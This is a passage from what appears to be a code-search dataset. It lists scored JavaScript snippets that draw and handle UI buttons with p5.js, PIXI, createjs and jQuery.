bwClass + bsClass + hideClass + filterClass + linkCClasses;\n\n imgClasses = config.imgClass + isClass + ' ' + config.arrowType + '-img' + imgCClasses;\n\n // append to DOM\n $(that).prepend('<a href=\"#\" class=\"' + linkClasses + '\"' + linkStyle \n + '><img src=\"' + imgPath + '\" class=\"' + imgClasses + '\"></a>');\n }", "title": "" }, { "docid": "a06ac9cf3ff1f46fc453a157af442a6f", "score": "0.58619785", "text": "function tablet(){\n\n function change(){\n textSize(20);\n fill(60);\n text(\"Ditigal material created by social media (i.e. texts, photos, videos, \", 100, 1660);\n text(\"facebook) and communication outlets (i.e. articels, podcasts, blogs).\", 100, 1690);\n\n //fill(0);\n // rect(450, 1650 ,60, 60);\n }\n\n button = createImg('tablet.png');\n button.position(200, 1400);\n button.mousePressed(change);\n button.style(\"cursor\",\"pointer\");\n button.mouseReleased(setup);\n\n\n\n}", "title": "" }, { "docid": "5cd8601769537348b28a242570688fa8", "score": "0.5822225", "text": "showButton()\n\t{\n\t\tif (mouseX > this.x && mouseX < this.x + this.length &&\n\t\t\t mouseY > this.y && mouseY < this.y + this.height)\n\t\t{\n\t\t\tif (this.img == null)\n\t\t\t{\n\t\t\t\tfill(this.fillOverR,this.fillOverG,this.fillOverB);\n\t\t\t\trect(this.x,this.y,this.length,this.height);\n\n\n\t\t\t\tif (mouseIsPressed && this.clicked == 0)\n\t\t\t\t{\n\t\t\t\t\tthis.clicked++;\n\t\t\t\t\tfill(this.textR,this.textG,this.textB);\n\t\t\t\t\ttext(this.textPressed,(this.x + this.textLength),(this.y+this.textHeight));\n\n\t\t\t\t\tthis.buttonState = 1;\n\t\t\t\t}\n\t\t\t\telse if (mouseIsPressed && this.clicked > 0)\n\t\t\t\t{\n\t\t\t\t\tthis.clicked=2;\n\t\t\t\t\tfill(this.textR,this.textG,this.textB);\n\t\t\t\t\ttext(this.textPressed,(this.x + this.textLength),(this.y+this.textHeight));\n\n\t\t\t\t\tthis.buttonState = 2;\n\t\t\t\t}\n\t\t\t\telse if (!mouseIsPressed && this.clicked > 0) {\n\t\t\t\t\tthis.clicked = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tfill(this.textR,this.textG,this.textB);\n\t\t\t\t\ttext(this.textOver,(this.x + this.textLength),(this.y+this.textHeight));\n\t\t\t\t\tthis.buttonState = 0;\n\t\t\t\t\tthis.clicked = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\timage(this.img,this.x,this.y);\n\n\t\t\t\tif (mouseIsPressed && this.clicked == 0)\n\t\t\t\t{\n\t\t\t\t\tthis.clicked++;\n\t\t\t\t\tthis.buttonState = 1;\n\t\t\t\t}\n\t\t\t\telse if (mouseIsPressed && this.clicked > 0)\n\t\t\t\t{\n\t\t\t\t\tthis.clicked=2;\n\t\t\t\t\tthis.buttonState = 2;\n\t\t\t\t}\n\t\t\t\telse if (!mouseIsPressed && this.clicked > 0) {\n\t\t\t\t\tthis.clicked = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tthis.buttonState = 0;\n\t\t\t\t\tthis.clicked = 0;\n\t\t\t\t}\n//\t\t\t\tconsole.log(this.buttonState);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tif (this.img == null)\n\t\t\t{\n\t\t\t\tfill(this.fillR,this.fillG,this.fillB);\n\t\t\t\trect(this.x,this.y,this.length,this.height);\n\n\t\t\t\tfill(this.textR,this.textG,this.textB);\n\t\t\t\ttext(this.text,this.x+this.textLength,this.y+this.textHeight);\n\t\t\t}\n\t\t\telse {\n\t\t\t\timage(this.img,this.x,this.y);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "03ea80669beb8ab0ca2be95bc9a0109a", "score": "0.57598025", "text": "function drawButtons()\n{\n\tbuttonGap = 60;\n\n\t// ------------- IF ribbon button is pressed setup -------------\t\n\tif (eventUse == \"ribbons\")\n\t{\n\t\tfill(255,255,0);\n\t}\n\telse\n\t{\n\t\tfill(255,255,255);\t\n\t}\n\t\n\trect(10,10+buttonGap*8,100,50);\n\tfill(0,0,0);\n\ttext(\"Ribbons\",34,39+buttonGap*8);\n\n\tif (ipad == true)\n\t{\n\t\tif (mouseX > 10 && mouseX < 10+100 &&\n\t\t\tmouseY > 10+buttonGap*8 && mouseY < 10+buttonGap*8+50)\n\t\t{\n\t\t\teventUse = \"ribbons\";\n\t\t\tcloseShotput();\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (mouseIsPressed && mouseX > 10 && mouseX < 10+100 &&\n\t\t\tmouseY > 10+buttonGap*8 && mouseY < 10+buttonGap*8+50)\n\t\t{\n\t\t\teventUse = \"ribbons\";\n\t\t\tcloseShotput();\n\t\t}\n\t}\n\n\t// ------------- IF shotput button is pressed setup -------------\t\n\tif (eventUse == \"shotput\")\n\t{\n\t\tfill(255,255,0);\n\t}\n\telse\n\t{\n\t\tfill(255,255,255);\t\n\t}\n\t\n\trect(10,10+buttonGap*9,100,50);\n\tfill(0,0,0);\n\ttext(\"Shotput\",34,39+buttonGap*9);\n\n\tif (ipad == true)\n\t{\n\t\tif (mouseX > 10 && mouseX < 10+100 &&\n\t\t\tmouseY > 10+buttonGap*9 && mouseY < 10+buttonGap*9+50)\n\t\t{\n\t\t\teventUse = \"shotput\";\n\t\t\tsetupShotput();\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (mouseIsPressed && mouseX > 10 && mouseX < 10+100 &&\n\t\t\tmouseY > 10+buttonGap*9 && mouseY < 10+buttonGap*9+50)\n\t\t{\n\t\t\teventUse = \"shotput\";\n\t\t\tsetupShotput();\n\t\t}\n\t}\n\n\t// ---------------------- IF Grade level button is pressed --------------------\n\tfor (var b = 0; b < 7; b++)\n\t{\n\t\tif (currentGrade-6 == b)\n\t\t{\n\t\t\tfill(0,255,0);\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\tfill(255,255,255);\n\t\t}\n\t\trect(10,10+buttonGap*b,100,50);\n\t\tfill(0,0,0);\n\t\ttext(\"Grade \"+(b+6),34,39+buttonGap*b);\n\t\t\n\t\tif (ipad == true)\n\t\t{\n\t\t\tif (mouseX > 10 && mouseX < 10+100 &&\n\t\t\t mouseY > 10+buttonGap*b && mouseY < 10+buttonGap*b+50)\n\t\t\t{\t\n\t\t\t\tcurrentGrade = b+6;\n\t\t\t\tvar query = new google.visualization.Query('https://docs.google.com/spreadsheets/d/'+spreadsheetID+'/gviz/tq?sheet=Grade'+currentGrade+'&tq=SELECT*');\n\n\t\t\t\tquery.send(handleQueryResponse);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (mouseIsPressed && mouseX > 10 && mouseX < 10+100 &&\n\t\t\t mouseY > 10+buttonGap*b && mouseY < 10+buttonGap*b+50)\n\t\t\t{\n\t\t\t\tcurrentGrade = b+6;\n\t\t\t\tvar query = new google.visualization.Query('https://docs.google.com/spreadsheets/d/'+spreadsheetID+'/gviz/tq?sheet=Grade'+currentGrade+'&tq=SELECT*');\n\n\t\t\t\tquery.send(handleQueryResponse);\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4b918de917452c94624373eb335be8c3", "score": "0.57203454", "text": "function RectButtonn(x_position, y_position, height, width, action)\r\n{\r\n var graphics = new PIXI.Graphics();\r\n graphics.beginFill(0xFFFFFF, 1); // Color and opacity\r\n graphics.lineStyle(2, 0x414141, 1);\r\n graphics.drawRect(x_position, y_position, width, height);\r\n graphics.endFill();\r\n graphics.interactive = true;\r\n graphics.on('mouseover', onHoverOver) // When mouse hovers over the button, it calls onHoverOver() function\r\n .on('mouseout', onHoverOff)\r\n .on('pointerdown', onSelect)\r\n .on('pointerdown', nextActivity)\r\n .on('pointerdown', removeLastStroke)\r\n .on('pointerdown', makeButtonAppear);\r\n graphics.alpha = 0.5;\r\n graphics.assignAction(action);\r\n buttonArray[buttonArray.length] = graphics;\r\n app.stage.addChild(graphics);\r\n}", "title": "" }, { "docid": "8d3525bb5121b4bf6d2154fbe224ca33", "score": "0.57137024", "text": "constructor(width, height, title, Button, c_1, c_2, c_3){\r\n this.x =0+0.1*width;\r\n this.w = 0.8*width;\r\n this.y =0+0.1*height;\r\n this.h =0.8*height;\r\n this.title = title;\r\n this.b = Button;\r\n this.b.setX(0.6*width);\r\n this.b.setY(0.7*height);\r\n this.stroke = c_1;\r\n this.fill = c_2;\r\n this.extra = c_3\r\n this.count = 0;\r\n this.rW = 0;\r\n this.rH = 0;\r\n this.steps = 15;\r\n this.done = false;\r\n }", "title": "" }, { "docid": "45c8fda37dfe05e39ea76e23d0c36e43", "score": "0.5697191", "text": "addButton(posX, posY, label, textSize, rectX, rectY, edge) {\n let a = new PIXI.Container();\n let rect = new PIXI.Graphics();\n rect.beginFill(0x555555);\n if (edge)\n rect.drawRect(0, posY, rectX, rectY);\n else\n rect.drawRect(posX - 3, posY, rectX, rectY);\n let text = new PIXI.Text(label);\n text.style = new PIXI.TextStyle({\n fontFamily: 'Chakra Petch',\n fontSize: textSize,\n fill: 0xFFFFFF\n })\n text.position.set(posX,posY);\n rect.visible = false;\n a.addChild(rect, text);\n a.buttonMode = a.interactive = true;\n a.on('pointerover', this.onHover)\n .on('pointerout', this.offHover);\n return a;\n }", "title": "" }, { "docid": "e947079b22c2a60341175c03ac4326a9", "score": "0.56703395", "text": "function makeButton(shape, onClick) {\n $(shape._renderer.elem)\n .css({\n cursor: \"pointer\"\n })\n .bind(\"mousedown\", onClick)\n }", "title": "" }, { "docid": "7cdd363d277f490ce996c8e1a3ec3a43", "score": "0.56495464", "text": "function _button(x, y, val)\n{\n\tif(DEBUG){post('_button', x, y, val, '\\n');}\n\tto_wheel(x, y, 'white', val);\n\tstored_buttons[x][y]=val;\n}", "title": "" }, { "docid": "031ef40135885d84789d8df4418bdaec", "score": "0.5644546", "text": "button() {\n push();\n stroke(this.fill);\n strokeWeight(1.5);\n noFill();\n ellipse(this.x, this.y, this.radius * 2, this.radius * 2);\n imageMode(CENTER);\n image(this.buttonImage, this.x, this.y, this.buttonImageWidth, this.buttonImageHeight);\n pop();\n }", "title": "" }, { "docid": "1be68415e37263530da7b2571b60c970", "score": "0.5641051", "text": "function shapey_drawButton(options,parentShapeId,buttonInfo)\n{\n\ttry\n\t{\n\t\t//create an id for this button based on the parents id, and the number of buttons that exist on it.\n\t\tbuttonInfo.id = parentShapeId+'_button'+$('#'+parentShapeId+' .shapey_button').length;\n\t\t\t\n\t\tbuttonInfo = new shapeysShapeButton(buttonInfo)\n\t\t\n\t\t//draw the button on the shape\n\t\t$('#'+parentShapeId).append('<div id=\"'+buttonInfo.id+'\" class=\"shapey_button\" parent=\"'+parentShapeId+'\" style=\"cursor:pointer; position:absolute; overflow:hidden;\">'+buttonInfo.name+'</div>');\n\t\t\n\t\t//set any css properties of the button.\n\t\tif(buttonInfo.hasOwnProperty('properties'))\n\t\t{\n\t\t\tfor(property in buttonInfo.properties)\n\t\t\t{\n\t\t\t\t$('#'+buttonInfo.id).css(property,buttonInfo.properties[property]);\n\t\t\t}\n\t\t}\n\t\t\n\t\t//attach the click handler to the button if it has one.\n\t\tif(buttonInfo.hasOwnProperty('click') && buttonInfo.click != null)\n\t\t{\n\t\t\t$('#'+buttonInfo.id).click(function(){\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\tvar result = window[buttonInfo.click](event,buttonInfo,shapeyShapes[parentShapeId]);\n\t\t\t\t}\n\t\t\t\tcatch(ex)\n\t\t\t\t{\n\t\t\t\t\tconsole.log('unable to call handler function for button click \"'+buttonInfo.click+'\" Please ensure the function has been implimented.'); \t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t}\n\tcatch(ex)\n\t{\n\t\tconsole.log('Error drawing button on shape: ' + ex.message + ' ' + ex.lineNumber);\t\n\t}\n\treturn buttonInfo;\n}", "title": "" }, { "docid": "0d6ae1e10b078510aa532faac45b80b2", "score": "0.56310356", "text": "function Button(xL,xR,yT,yB) {\n this.xLeft = xL;\n this.xRight = xR;\n this.yTop = yT;\n this.yBottom = yB;\n}", "title": "" }, { "docid": "f80e71eba442b135b92915a12df034ac", "score": "0.5626191", "text": "function createCloseButton(x, y, buttonSize) {\n let background = new createjs.Shape();\n background.graphics.beginFill(\"#000\").drawCircle(0, 0, 10);\n\n let label = new createjs.Text(\"x\", \"12px Arial\", \"#FFF\").set({\n x: 0, y: 0, textAlign: \"center\", textBaseline: \"middle\"\n });\n\n let button = new createjs.Container();\n button.x = x;\n button.y = y;\n button.addChild(background, label);\n button.cursor = \"pointer\";\n button.mouseChildren = false;\n button.on(\"mouseover\", handleMouseOver);\n button.on(\"mouseout\", handleMouseOver);\n\n return button;\n}", "title": "" }, { "docid": "4786c586c53aa900fa77e0b5c8d22e22", "score": "0.5614602", "text": "constructor (text, x, y) {\n this.text = text\n this.x = x\n this.y = y\n\n this.button = createButton(this.text)\n\n this.button.mousePressed(() => this._changeScreen())\n this.button.addClass('initial-button')\n }", "title": "" }, { "docid": "ea6e6710a090d037ac6ff4debc363927", "score": "0.56130767", "text": "generateButton(width, title, bid, icon, color=\"#333333\") {\n const button = Ti.UI.createView({...style.viewStyle, width: width});\n button.add(Ti.UI.createLabel({...style.labelStyle, text: title, color: color}));\n button.add(Ti.UI.createButton({...style.iconStyle, title: icon, bid: bid, color: color}));\n return button;\n }", "title": "" }, { "docid": "f8af3f8fc3979a8e81a3a644f273ab15", "score": "0.56113034", "text": "function do_btn( )\n{ // grab code from csu\\assets\\js\\js+p5+editbox\n\n // Creates an <input></input> element in the DOM for text input.\n // Use g_input.size() to set the display length of the box.\n // g_input = createInput( ); // Create input textbox.\n // g_input.position( 20, 30 );\n // g_button = createButton( \"Submit\" );\n // g_button.id( \"btn\" ); //Add for P5 btn onclick\n // g_button.position( 160, 30 );\n //text( \"Enter your name.\", 20, 20 );\n\n g_button2 = createButton( \"Save Image\" );\n g_button2.position( 20, 60 );\n g_button2.mousePressed( save_image ); // the callback\n}", "title": "" }, { "docid": "f8af3f8fc3979a8e81a3a644f273ab15", "score": "0.56113034", "text": "function do_btn( )\n{ // grab code from csu\\assets\\js\\js+p5+editbox\n\n // Creates an <input></input> element in the DOM for text input.\n // Use g_input.size() to set the display length of the box.\n // g_input = createInput( ); // Create input textbox.\n // g_input.position( 20, 30 );\n // g_button = createButton( \"Submit\" );\n // g_button.id( \"btn\" ); //Add for P5 btn onclick\n // g_button.position( 160, 30 );\n //text( \"Enter your name.\", 20, 20 );\n\n g_button2 = createButton( \"Save Image\" );\n g_button2.position( 20, 60 );\n g_button2.mousePressed( save_image ); // the callback\n}", "title": "" }, { "docid": "e0e29bf9ce7559b022f13a406184fb64", "score": "0.56085145", "text": "function drawButton(args, highlight){\n\t\t// Fills over what was here before with the specified background colour.\n\t\tctx1.save();\n\t\tctx1.fillStyle = backgroundColor;\n\t\tctx1.fillRect(btnX, btnY-1, width+2, height+2);\n\n\t\t// Writes the text in the specified size and alignment.\n\t\tctx1.font = fontSize + \"pt Impact\";\n\t\tctx1.textAlign = align;\n\t\tctx1.fillStyle = (highlight) ? \"rgba(0, 0, 0, 1)\" : \"rgba(0, 0, 0, 0.6)\";\n\t\tctx1.fillText(text, btnX, btnY+height);\n\t\tctx1.restore();\n\t}", "title": "" }, { "docid": "43b7ced5687c4769e1f6e0b27c730d81", "score": "0.5604966", "text": "shape_option(shapeIdx, color, event) {\n const colorBtn = document.createElement('button');\n colorBtn.classList.add('answer-cube');\n colorBtn.style.backgroundColor = color;\n shapes[shapeIdx].appendChild(colorBtn);\n colorBtn.addEventListener('click', event);\n }", "title": "" }, { "docid": "bc7c8a24949c0697929d13df632d29ee", "score": "0.5580388", "text": "function buttonCreate() {\r\n shape = [];\r\n polyLine = []; \r\n normColor = []; \r\n points = []; \r\n pointColor = []; \r\n vert = []; \r\n ind = []; \r\n drawFnormz = [];\r\n flatNormz = []; \r\n flatColor = []; \r\n smoothNormz = []; \r\n smoothColor = []; \r\n stop = false;\r\n buttonC = true;\r\n drawN = true;\r\n save = true;\r\n lights = true;\r\n}", "title": "" }, { "docid": "b4e47c634dcea27d5c88945f123b0df4", "score": "0.5534701", "text": "function createButton(drawButton, drawArgs, checkHover, handleClick, intendedScreens){\n\t// Draw the button.\n\tdrawButton(drawArgs);\n\n\t// Function to check if the button is in the correct state, to be called on an interval.\n\tvar highlight = false,\n\t\tbuttonInterval,\n\t\tmouseHover,\n\t\toldMouseDown;\n\tfunction updateButton(){\n\t\t// If we leave the intended screen, stop updating this button.\n\t\tif (intendedScreens.indexOf(currentScreen) == -1){\n\t\t\tclearInterval(buttonInterval);\n\t\t} else {\n\t\t\tmouseHover = checkHover();\n\t\t\tif (!highlight && mouseHover){\n\t\t\t\t// If the mouse is over the button and it isn't highlighted, highlight it.\n\t\t\t\thighlight = true;\n\t\t\t\tdrawButton(drawArgs, true);\n\t\t\t\toldMouseDown = cvs2.onmousedown;\n\t\t\t\tcvs2.onmousedown = handleClick;\n\t\t\t}\n\t\t\telse if (highlight && !mouseHover){\n\t\t\t\t// If the mouse isn't over the button and it's still highlighted, unhighlight it.\n\t\t\t\thighlight = false;\n\t\t\t\tdrawButton(drawArgs, false);\n\t\t\t\tcvs2.onmousedown = oldMouseDown;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Start the updateLevelButton function on an interval.\n\tbuttonInterval = setInterval(updateButton, 1000/60);\n\treturn buttonInterval;\n}", "title": "" }, { "docid": "fbbe1eba68a43df1587db75b3f507c2c", "score": "0.55101734", "text": "example_shape_option(color) {\n const colorBtn = document.createElement('button');\n colorBtn.classList.add('answer-cube');\n colorBtn.style.backgroundColor = color;\n modeCon.appendChild(colorBtn);\n }", "title": "" }, { "docid": "c134024fc6d2c0b5e32689375a307f7d", "score": "0.5487615", "text": "draw(){\n if(this.scene === game.scene){\n //If the mouse is inside the bounds of the button, use the first color, else use the second color\n if(this.isInside()){\n //Draw the background of the button\n setColor(this.color1);\n rect(this.x, this.y, this.width, this.height);\n //Draw the border of the button\n setColor(this.borderColor1);\n border(this.x, this.y, this.width, this.height);\n //Draw the text on the button\n setColor(this.textColor1);\n textAlign(\"center\");\n font(this.textSize, this.font);\n text(this.x + this.width / 2, this.y + this.height / 2 + this.textSize / 3, this.text);\n }\n else {\n setColor(this.color2);\n rect(this.x, this.y, this.width, this.height);\n setColor(this.borderColor2);\n border(this.x, this.y, this.width, this.height);\n setColor(this.textColor2);\n textAlign(\"center\");\n font(this.textSize, this.font);\n text(this.x + this.width / 2, this.y + this.height / 2 + this.textSize / 3, this.text);\n }\n }\n }", "title": "" }, { "docid": "c941f0574e78eec2c6b021017bff19c2", "score": "0.548382", "text": "function drawActions() {\n\n\tvar x = searchX;\n\tvar y = searchY;\n\tvar textXOffset = shapeWidth / 2;\n\tvar textYOffset = legendItemHeight/2;\n\tvar buttonSize = legendItemHeight;\n\n\tcanvasContext.font = legendFont;\n\tcanvasContext.textBaseline = 'middle';\n\tcanvasContext.textAlign = 'left';\n\n\n\tif (showArt == 0) {\n\t\thighlight(x, y, legendItemWidth, legendItemHeight);\n\t} else {\n\t\tborder(x, y, legendItemWidth, legendItemHeight);\n\t}\n\tcanvasContext.fillText(\"Show Opera Floor\", x + textXOffset, y + textYOffset);\n\ty += legendItemHeight;\n\n\tif (showArt == 1) {\n\t\thighlight(x, y, legendItemWidth, legendItemHeight);\n\t} else {\n\t\tborder(x, y, legendItemWidth, legendItemHeight);\n\t}\n\tcanvasContext.fillText(\"Show Opera Sketch\", x + textXOffset, y + textYOffset);\n\ty += legendItemHeight;\n\t\n\tif (showArt == 2) {\n\t\thighlight(x, y, legendItemWidth, legendItemHeight);\n\t} else {\n\t\tborder(x, y, legendItemWidth, legendItemHeight);\n\t}\n\tcanvasContext.fillText(\"Show Graph Paper\", x + textXOffset, y + textYOffset);\n\ty += legendItemHeight;\n\t\n\tif (showArt == 3) {\n\t\thighlight(x, y, legendItemWidth, legendItemHeight);\n\t} else {\n\t\tborder(x, y, legendItemWidth, legendItemHeight);\n\t}\n\tcanvasContext.fillText(\"Show Blank Area\", x + textXOffset, y + textYOffset);\n\ty += legendItemHeight;\n\t\n\t\n\tcanvasContext.textAlign = 'left';\n}", "title": "" }, { "docid": "68b50e26bfb4fbe877ebe263e9962e2a", "score": "0.54631704", "text": "function setUpButtons(params={}){\n let optionButtonStartX = startButtons + ((canvasWidth-startButtons)/2) - ctrlOptionBarWidth/2;\n let buttonTextStartX = startButtons + (canvasWidth-startButtons)/2;\n let barHeightMod = (optionRectStartY + 1);\n\n buttons[0] = new OptionButton(optionButtonStartX, optionRectStartY, ctrlOptionBarWidth, ctrlBarHeight, \"Play\", params.playing)\n buttons[1] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod, ctrlOptionBarWidth, ctrlBarHeight, \"Rotate Circle\", params.rotateCircle);\n buttons[2] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod*2, ctrlOptionBarWidth, ctrlBarHeight, \"Show Lines\", params.drawLines);\n buttons[3] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod*3, ctrlOptionBarWidth, ctrlBarHeight, \"Freq Lines\", params.drawFreqLines);\n buttons[4] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod*4, ctrlOptionBarWidth, ctrlBarHeight, \"Wave Lines\", !params.drawFreqLines);\n buttons[5] = new OptionButton( optionButtonStartX, optionRectStartY+barHeightMod*5, ctrlOptionBarWidth, ctrlBarHeight, \"Quad Lines\", params.drawBezier);\n buttons[6] = new OptionButton( optionButtonStartX, optionRectStartY+barHeightMod*6, ctrlOptionBarWidth, ctrlBarHeight, \"Invert\", params.invertColor);\n buttons[7] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod*7, ctrlOptionBarWidth, ctrlBarHeight, \"Noise\", params.noise);\n buttons[8] = new OptionButton( optionButtonStartX, optionRectStartY+barHeightMod*8, ctrlOptionBarWidth, ctrlBarHeight,\"Gradient Color\", params.useGradient);\n buttons[9] = new OptionButton(optionButtonStartX, optionRectStartY+barHeightMod*9, ctrlOptionBarWidth, ctrlBarHeight,\"Changing Gradient\", params.changeGradient);\n buttons[10] = new OptionButton( optionButtonStartX, optionRectStartY+barHeightMod*10, ctrlOptionBarWidth, ctrlBarHeight, \"Changing Colors\", params.colorChange);\n}", "title": "" }, { "docid": "8658d54a365ac6cce2dafe4e215876e9", "score": "0.5443651", "text": "function setupButtons() {\n\n button_stop = createImg('assets/UISprite/btn_stopAll.png');\n button_stop.position(600, 40);\n button_stop.mousePressed(turnAllOff);\n\n //tofix\n button_playall = createImg('assets/UISprite/btn_playAll.png');\n button_playall.position(300, 40);\n button_playall.mousePressed(turnAllOn);\n\n btn_help = createImg('assets/UISprite/btn_help.png');\n btn_help.position(900, 30);\n btn_help.mousePressed(toggleHelp); //shows instructions\n\n drum.clipbtn = createImg('assets/UISprite/btn_changeclip.png');\n drum.clipbtn.position(520, 150);\n drum.clipbtn.mousePressed(() => {\n changeClip(drum)\n });\n\n drum.playbtn = createImg('assets/UISprite/btn_play.png');\n drum.playbtn.position(520, 110);\n drum.playbtn.mousePressed(() => {\n toggleOnOff(drum)\n });\n\n bass.clipbtn = createImg('assets/UISprite/btn_changeclip.png');\n bass.clipbtn.position(270, 180);\n bass.clipbtn.mousePressed(() => {\n changeClip(bass)\n });\n\n bass.playbtn = createImg('assets/UISprite/btn_play.png');\n bass.playbtn.position(270, 140);\n bass.playbtn.mousePressed(() => {\n toggleOnOff(bass)\n });\n\n piano.clipbtn = createImg('assets/UISprite/btn_changeclip.png');\n piano.clipbtn.position(650, 280);\n piano.clipbtn.mousePressed(() => {\n changeClip(piano)\n });\n\n piano.playbtn = createImg('assets/UISprite/btn_play.png');\n piano.playbtn.position(650, 240);\n piano.playbtn.mousePressed(() => {\n toggleOnOff(piano)\n });\n\n string.clipbtn = createImg('assets/UISprite/btn_changeclip.png');\n string.clipbtn.position(460, 320);\n string.clipbtn.mousePressed(() => {\n changeClip(string)\n });\n\n string.playbtn = createImg('assets/UISprite/btn_play.png');\n string.playbtn.position(420, 320);\n string.playbtn.mousePressed(() => {\n toggleOnOff(string)\n });\n\n //change drummer\n drum.gobtn = createImg('assets/UISprite/btn_go.png');\n drum.gobtn.position(drum.idleX+20, drum.idleY-30);\n drum.gobtn.mousePressed(() => {\n changeSound(drum)\n });\n //change bassist\n bass.gobtn = createImg('assets/UISprite/btn_go.png');\n bass.gobtn.position(bass.idleX+20, bass.idleY-30);\n bass.gobtn.mousePressed(() => {\n changeSound(bass)\n });\n //change pianist\n piano.gobtn = createImg('assets/UISprite/btn_go.png');\n piano.gobtn.position(piano.idleX+20, piano.idleY-20);\n piano.gobtn.mousePressed(() => {\n changeSound(piano)\n });\n //change string\n string.gobtn = createImg('assets/UISprite/btn_go.png');\n string.gobtn.position(string.idleX+20, string.idleY-30);\n string.gobtn.mousePressed(() => {\n changeSound(string)\n });\n}", "title": "" }, { "docid": "aacda7731c0eb9c1ac6efacc772d6a4b", "score": "0.5431124", "text": "function OptionButton(x,y,width,height, name, value){\n this.x = x;\n this.y = y;\n this.width = width;\n this.height = height;\n this.name = name;\n this.value = value;\n}", "title": "" }, { "docid": "86290fe21926d81decd52f135d7bfc3c", "score": "0.5429081", "text": "function BinopButton(o, plain) {\n this.text = o\n if (plain) {\n o = plain\n }\n this.fcn = function () {calc.keypad.binaryOp(o)}\n}", "title": "" }, { "docid": "c056e3c06830d00e71df6aa676c5e1b6", "score": "0.5426653", "text": "function makeButton(text, callback) {\n\tlet button = createButton(text)\n\tbutton.mousePressed(callback)\n\tbutton.style('font-family', 'monaco')\n}", "title": "" }, { "docid": "77e7c208de5738c65b02a047364ee700", "score": "0.54198676", "text": "function setupButtonsAndActions() {\r\n changeFeatureName('a', 'Proprietário', '<b>TORNAR-SE PROPRIETÁRIO</b>');\r\n changeFeatureName('a', 'Fechar', '<b>FINALIZAR</b>');\r\n createButonMover('GIRS', 14, 'highlight-out')\r\n createButonMover('BANCADA', 10)\r\n createButonMover('CIRO', 29)\r\n createButonMover('LEANDRO', 28)\r\n createButtonRespostaEmBranco();\r\n createButton('INICIAR ATENDIMENTO');\r\n}", "title": "" }, { "docid": "510aa8328f6b8b9e6d4fa447913a5d26", "score": "0.5417018", "text": "draw() {\n var oldFillStyle = this.context.fillStyle;\n var oldStrokeStyle = this.context.strokeStyle;\n var oldLineWidth = this.context.lineWidth;\n var oldGlobalAlpha = this.context.globalAlpha;\n\n var font = Fonts.DEFAULT_FONT;\n var buttonWidth = 60;\n var buttonHeight = buttonWidth * 0.6;\n\n this.context.fillStyle = Colors.BUBBLE_FILL_DEFAULT;\n this.context.strokeStyle = this.outlineColor;\n this.context.lineWidth = 6;\n this.context.globalAlpha = this.available ? 1.0 : 0.3;\n\n this.button = new Path2D();\n this.button.ellipse(this.x, this.y, buttonWidth, buttonHeight, 0, 0, 2 * Math.PI);\n this.button.closePath();\n this.context.fill(this.button);\n this.context.stroke(this.button);\n\n if (this.text !== undefined) {\n new TextElementBuilder(this.canvas)\n .setPosition(this.x, this.y)\n .setText(this.text)\n .setTextAlign('center')\n .setMaxWidth(buttonWidth)\n .setMaxHeight(buttonHeight)\n .build()\n .draw();\n }\n\n this.context.lineWidth = 10;\n this.context.strokeStyle = 'red';\n if (this.used) {\n var xPath = new Path2D();\n xPath.moveTo(this.x - buttonWidth / 2, this.y - buttonWidth / 2);\n xPath.lineTo(this.x + buttonWidth / 2, this.y + buttonWidth / 2);\n xPath.moveTo(this.x + buttonWidth / 2, this.y - buttonWidth / 2);\n xPath.lineTo(this.x - buttonWidth / 2, this.y + buttonWidth / 2);\n this.context.stroke(xPath);\n }\n\n this.context.fillStyle = oldFillStyle;\n this.context.strokeStyle = oldStrokeStyle;\n this.context.lineWidth = oldLineWidth;\n this.context.globalAlpha = oldGlobalAlpha;\n }", "title": "" }, { "docid": "2f3afe3dd15ff2bf0eacb45368b437c8", "score": "0.5413571", "text": "function startBtn(x, y, width, height, color) {\n this.x = x;\n this.y = y;\n this.width = width;\n this.height = height;\n this.color = color;\n startBtnOn = true;\n this.render = function() {\n uictx.shadowColor = \"black\"\n uictx.shadowBlur = 15;\n uictx.fillStyle = this.color;\n uictx.fillRect(this.x, this.y, this.width, this.height)\n uictx.fillStyle = \"white\"\n uictx.font = \"30px helvetica\"\n uictx.fillText(\"GAME START\", uiwidth/2 - 95, uiheight/2 + 10)\n \n }\n}", "title": "" }, { "docid": "7deade8ef02176f8b51e08d6d5584171", "score": "0.54111683", "text": "function createButtons() {\n\n openShopButton = new Button(width / 8, height * (13/24), width * 0.75, height / 8, \"Loadout\", 36, 0, \n openShop, [209, 19, 221], [103, 19, 109], \"assets/cursors/shop.cur\");\n shopToMenuButton = new Button(width * 0.15, height * 0.85, width * 0.7, height * 0.1, \"Done\", 36, 0, \n shopToMenu, [209, 19, 221], [103, 19, 109], \"assets/cursors/shop.cur\");\n gameoverToMenuButton = new Button(width * 0.15, height * 0.85, width * 0.7, height * 0.1, \"Return To Menu\", 36, 0, \n gmToMenu, [0, 255, 255], [0, 77, 255], \"assets/cursors/gotomenu.cur\");\n\n}", "title": "" }, { "docid": "c5127bbeb5d4da07dbf42002f703184c", "score": "0.540501", "text": "function HeadingButton(name, x, y){\r\n this.name = name;\r\n this.x = x;\r\n this.y = y;\r\n this.w = null;\r\n this.h = 25;\r\n this.p = 10;\r\n this.bCol = color(50);\r\n this.fCol = color(250);\r\n this.isSelected = false;\r\n this.topToBottom = true;\r\n \r\n // Draw method\r\n this.draw = function(){\r\n stroke(100);\r\n fill(this.bCol);\r\n rect(this.x - this.w/2 - this.p, this.y-this.h/2, this.w + 2*this.p, this.h, 5);\r\n noStroke();\r\n 